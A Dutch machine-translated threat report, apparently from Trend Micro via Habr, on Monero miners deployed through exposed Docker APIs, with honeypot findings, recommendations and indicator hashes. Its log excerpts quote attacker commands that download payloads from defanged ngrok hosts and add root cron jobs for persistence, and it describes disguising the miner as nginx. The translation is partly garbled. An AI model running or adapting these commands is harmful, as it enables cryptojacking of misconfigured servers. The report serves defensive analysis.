
We hebben de verzamelde gegevens geanalyseerd met behulp van honeypot-containers, die we hebben gemaakt om bedreigingen op te sporen. En we hebben aanzienlijke activiteit gedetecteerd van ongewenste of ongeautoriseerde cryptocurrency-miners die als frauduleuze containers zijn ingezet met behulp van een door de community gepubliceerde afbeelding op Docker Hub. De afbeelding wordt gebruikt als onderdeel van een dienst die kwaadaardige cryptocurrency-mijnwerkers levert.
Bovendien worden programma's voor het werken met netwerken geĂŻnstalleerd om aangrenzende containers en applicaties te openen.
We laten onze honeypots zoals ze zijn, dat wil zeggen met standaardinstellingen, zonder enige beveiligingsmaatregelen of daaropvolgende installatie van extra software. Houd er rekening mee dat Docker aanbevelingen heeft voor de eerste installatie om fouten en eenvoudige kwetsbaarheden te voorkomen. Maar de gebruikte honeypots zijn containers, ontworpen om aanvallen te detecteren die gericht zijn op het containerisatieplatform, en niet op de applicaties in de containers.
De gedetecteerde kwaadaardige activiteit valt ook op omdat deze geen kwetsbaarheden vereist en bovendien onafhankelijk is van de Docker-versie. Het vinden van een onjuist geconfigureerde en dus open containerimage is alles wat aanvallers nodig hebben om veel open servers te infecteren.
Met de niet-gesloten Docker API kan de gebruiker een breed scala aan taken uitvoeren , inclusief het verkrijgen van een lijst met actieve containers, het ophalen van logboeken van een specifieke container, het starten, stoppen (inclusief geforceerd) en zelfs het maken van een nieuwe container van een specifieke afbeelding met gespecificeerde instellingen.

Aan de linkerkant ziet u de malware-leveringsmethode. Aan de rechterkant bevindt zich de omgeving van de aanvaller, die het op afstand uitrollen van afbeeldingen mogelijk maakt.

Distributie per land van 3762 open Docker API's. Gebaseerd op een Shodan-zoekopdracht van 12.02.2019/XNUMX/XNUMX
Aanvalsketen en payload-opties
Kwaadwillige activiteit werd niet alleen gedetecteerd met behulp van honeypots. Uit gegevens van Shodan blijkt dat het aantal blootgestelde Docker APIâs (zie tweede grafiek) is toegenomen sinds we een verkeerd geconfigureerde container hebben onderzocht die als brug wordt gebruikt om Monero-cryptocurrency mining-software te implementeren. In oktober vorig jaar (2018, actuele gegevens ca. vertaler) waren er slechts 856 open API's.
Uit onderzoek van de honeypot-logboeken bleek dat het gebruik van containerimages ook verband hield met het gebruik van , een hulpmiddel voor het tot stand brengen van beveiligde verbindingen of het doorsturen van verkeer van openbaar toegankelijke punten naar gespecificeerde adressen of bronnen (bijvoorbeeld localhost). Hierdoor kunnen aanvallers dynamisch URL's maken bij het leveren van payload aan een open server. Hieronder staan ââcodevoorbeelden uit de logboeken die misbruik van de ngrok-service tonen:
Tty: false
Command: â-c curl âretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ,
Tty: false,
Cmd: â-c curl âretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c âcron || crondââ,
Entrypoint: â/bin/shâZoals u kunt zien, worden de geĂŒploade bestanden gedownload van voortdurend veranderende URL's. Deze URL's hebben een korte vervaldatum, dus payloads kunnen na de vervaldatum niet meer worden gedownload.
Er zijn twee payload-opties. De eerste is een gecompileerde miner in ELF-formaat voor Linux (geĂŻdentificeerd als Coinminer.SH.MALXMR.ATNO), die verbinding maakt met de miningpool. De tweede is een script (TrojanSpy.SH.ZNETMAP.A), ontworpen om bepaalde netwerktools te verkrijgen die worden gebruikt om netwerkbereiken te scannen en vervolgens naar nieuwe doelen te zoeken.
Het dropper-script stelt twee variabelen in, die vervolgens worden gebruikt om de cryptocurrency-miner in te zetten. De HOST-variabele bevat de URL waar de kwaadaardige bestanden zich bevinden, en de RIP-variabele is de bestandsnaam (in feite de hash) van de miner die moet worden ingezet. De HOST-variabele verandert elke keer dat de hash-variabele verandert. Het script probeert ook te controleren of er geen andere cryptocurrency-miners actief zijn op de aangevallen server.

Voorbeelden van HOST- en RIP-variabelen, evenals een codefragment dat wordt gebruikt om te controleren of er geen andere mijnwerkers actief zijn
Voordat de miner wordt gestart, wordt deze hernoemd naar nginx. Andere versies van dit script hernoemen de miner naar andere legitieme services die mogelijk in de omgeving aanwezig zijn. LinuxDit is meestal voldoende om controles op de lijst met actieve processen te omzeilen.
Het zoekscript heeft ook functies. Het werkt met dezelfde URL-service om de benodigde tools in te zetten. Daaronder bevindt zich het binaire bestand zmap, dat wordt gebruikt om netwerken te scannen en een lijst met open poorten te verkrijgen. Het script laadt ook een ander binair bestand dat wordt gebruikt om te communiceren met de gevonden services en om er banners van te ontvangen om aanvullende informatie over de gevonden service te bepalen (bijvoorbeeld de versie ervan).
Het script bepaalt ook vooraf een aantal netwerkbereiken die moeten worden gescand, maar dit is afhankelijk van de versie van het script. Het stelt ook de doelpoorten van de services in (in dit geval Docker) voordat de scan wordt uitgevoerd.
Zodra potentiĂ«le doelwitten zijn gevonden, worden banners er automatisch van verwijderd. Het script filtert doelwitten ook op basis van de services, applicaties, componenten of platforms waarin het geĂŻnteresseerd is: Redis, Jenkins, Drupal, MODX, , Docker 1.16-client en Apache CouchDB. Als de gescande server met een van deze overeenkomt, wordt deze opgeslagen in een tekstbestand, dat aanvallers later kunnen gebruiken voor latere analyse en hacking. Deze tekstbestanden worden via dynamische links naar de servers van de aanvallers geĂŒpload. Dat wil zeggen dat voor elk bestand een aparte URL wordt gebruikt, wat betekent dat latere toegang moeilijk is.
De aanvalsvector is een Docker-afbeelding, zoals te zien is in de volgende twee stukjes code.

Bovenaan staat het hernoemen naar een legitieme service, en onderaan staat hoe zmap wordt gebruikt om netwerken te scannen

Bovenaan staan ââvooraf gedefinieerde netwerkbereiken, onderaan staan ââspecifieke poorten voor het zoeken naar services, waaronder Docker

De schermafbeelding laat zien dat de alpine-curl-afbeelding meer dan 10 miljoen keer is gedownload
Gebaseerd op Alpine Linux En curl, een resource-efficiĂ«nte CLI-tool voor het overdragen van bestanden via verschillende protocollen, kan worden gecompileerd. . Zoals je in de vorige afbeelding kunt zien, is deze afbeelding al meer dan 10 miljoen keer gedownload. Een groot aantal downloads kan betekenen dat deze afbeelding als toegangspunt wordt gebruikt; deze afbeelding is meer dan zes maanden geleden bijgewerkt; gebruikers hebben niet zo vaak andere afbeeldingen uit deze repository gedownload. In Docker - een reeks instructies die worden gebruikt om een ââcontainer te configureren om deze uit te voeren. Als de instellingen van het toegangspunt onjuist zijn (de container wordt bijvoorbeeld open gelaten vanaf internet), kan de afbeelding worden gebruikt als aanvalsvector. Aanvallers kunnen het gebruiken om een ââpayload af te leveren als ze ontdekken dat een verkeerd geconfigureerde of open container niet wordt ondersteund.
Het is belangrijk op te merken dat deze afbeelding (alpine-curl) zelf niet kwaadaardig is, maar zoals u hierboven kunt zien, kan deze worden gebruikt om kwaadaardige functies uit te voeren. Soortgelijke Docker-images kunnen ook worden gebruikt om kwaadaardige activiteiten uit te voeren. We hebben contact opgenomen met Docker en met hen samengewerkt aan dit probleem.
Aanbevelingen
stoffelijk overschot voor veel bedrijven, vooral degenen die dit implementeren , gericht op snelle ontwikkeling en levering. Alles wordt verergerd door de noodzaak om te voldoen aan de regels voor auditing en monitoring, de noodzaak om de vertrouwelijkheid van gegevens te bewaken, evenals de enorme schade als gevolg van het niet naleven ervan. Het opnemen van beveiligingsautomatisering in de ontwikkelingslevenscyclus helpt u niet alleen beveiligingslekken te vinden die anders misschien onopgemerkt zouden blijven, maar helpt u ook onnodige werklast te verminderen, zoals het uitvoeren van extra softwarebuilds voor elke ontdekte kwetsbaarheid of verkeerde configuratie nadat een applicatie is geĂŻmplementeerd.
Het incident dat in dit artikel wordt besproken, benadrukt de noodzaak om vanaf het begin rekening te houden met de veiligheid, inclusief de volgende aanbevelingen:
- Voor systeembeheerders en ontwikkelaars: Controleer altijd uw API-instellingen om er zeker van te zijn dat alles is geconfigureerd om alleen verzoeken van een specifieke server of intern netwerk te accepteren.
- Volg het principe van de minste rechten: zorg ervoor dat containerimages worden ondertekend en geverifieerd, beperk de toegang tot kritieke componenten (containerlanceringsservice) en voeg encryptie toe aan netwerkverbindingen.
- Volgen en beveiligingsmechanismen mogelijk maken, b.v. en ingebouwd .
- Gebruik geautomatiseerd scannen van runtimes en images om aanvullende informatie te verkrijgen over de processen die in de container worden uitgevoerd (bijvoorbeeld om spoofing te detecteren of naar kwetsbaarheden te zoeken). Applicatiecontrole en integriteitsmonitoring helpen bij het opsporen van abnormale veranderingen aan servers, bestanden en systeemgebieden.
Trendmicro helpt DevOps-teams veilig te bouwen, snel uit te rollen en overal te lanceren. TrendMicro Biedt krachtige, gestroomlijnde en geautomatiseerde beveiliging in de DevOps-pijplijn van een organisatie en biedt meerdere verdedigingsmechanismen tegen bedreigingen om fysieke, virtuele en cloud-workloads tijdens runtime te beschermen. Het voegt ook containerbeveiliging toe Đž , dat Docker-containerimages op elk punt in de ontwikkelingspijplijn scant op malware en kwetsbaarheden om bedreigingen te voorkomen voordat ze worden ingezet.
Tekenen van compromis
Gerelateerde hashes:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Op Oefenende sprekers laten zien welke instellingen eerst moeten worden gedaan om de kans te minimaliseren of volledig te voorkomen dat de hierboven beschreven situatie zich voordoet. En op 19-21 augustus op een online intensive Deze en soortgelijke veiligheidsproblemen bespreek je met collegaâs en praktiserende docenten aan een ronde tafel, waar iedereen zich kan uitspreken en luisteren naar de pijn en successen van ervaren collegaâs.
Bron: www.habr.com
